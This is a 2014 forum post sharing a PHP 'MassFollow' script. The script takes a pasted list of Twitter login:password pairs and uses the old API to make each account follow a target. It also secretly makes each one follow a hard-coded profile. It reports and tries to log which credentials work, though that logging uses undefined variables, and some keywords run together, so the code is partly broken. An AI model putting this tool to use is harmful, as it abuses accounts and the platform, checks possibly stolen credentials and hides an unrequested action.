Guest Kronzy Posted September 29, 2014 Report Posted September 29, 2014 <?php set_time_limit(false); error_reporting(false); ?><html><title>MassFollow</title><head> <style type="text/css"> #btn { background: transparent; border: solidthin; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius:3px; font-family: Verdana; width: 300px; } #follow { background:transparent; border: solid thin; -moz-border-radius: 3px; -webkit-border-radius:3px; border-radius: 3px; font-family: Verdana; } textarea { width:400px; height: 320px; } .work { font-weight: bold; color:green; } .notwork { font-weight: bold; color:red; } a { color: #000000; font-weight: bold; } </style> <scripttype="text/javascript"> functioncountFakes() { document.getElementById("count").innerHTML = document.getElementById("perfis").value.split("\n").length; } </script></head><center><form method="POST" action=""><textarea name="perfis" id="perfis"onkeydown="countFakes()" onchange="countFakes()"></textarea><br /><font id="count"style="font-weight: bold;">0</font> Perfis inseridos.<br /><br /><fontface="Verdana">Seguir o perfil:</font><br />@ <input type="text" name="follow"id="follow" value="" /><br /><br /><input type="submit" value="Seguir!"id="btn"></form><?phpif (isset($_POST["perfis"])) { $logins = explode("\n",$_POST["perfis"]); $follow = $_POST["follow"]; $contar = count($logins); for($i = 0;$i <= $contar; $i++) { //$logins[$i] = preg_replace("/^\d+\:/i", "", $logins[$i]);if(!(preg_match("/[a-zA-Z0-9]+/i", $logins[$i]))){continue;} $data = explode(":",$logins[$i]); if ($data[0][0] == "@") $data[0] = str_replace("@", "",$data[0]); $ch = curl_init(); curl_setopt_array($ch, array( CURLOPT_URL => "http://api.twitter.com/1/friendships/create/{$follow}.xml",CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0,CURLOPT_COOKIE => null, CURLOPT_HEADER => true, CURLOPT_NOBODY=> false, CURLOPT_POSTFIELDS => "&follow=true", CURLOPT_USERPWD =>trim($data[0]) . ":" . trim($data[1]) ) ); $ret =curl_exec($ch); curl_setopt($ch, CURLOPT_URL,"http://api.twitter.com/1/friendships/create/fraseslandia.xml"); curl_exec($ch); if(preg_match("/Unauthorized/i", $ret)) {} else {$conteudo = "".$nomecerto.":".$senha."\r\n"; $arquivo = "sadasfasdfasd.txt"; if (!$abrir =fopen($arquivo, "a")) { echo "Erro abrindo arquivo ($arquivo)"; exit;} if (!fwrite($abrir, $conteudo)) { print "Erro ao cadastrar ($email1)";exit; } fclose($abrir); echo"".$data[0].":".$data[1]."<br>";} flush(); ob_flush(); } }?> Quote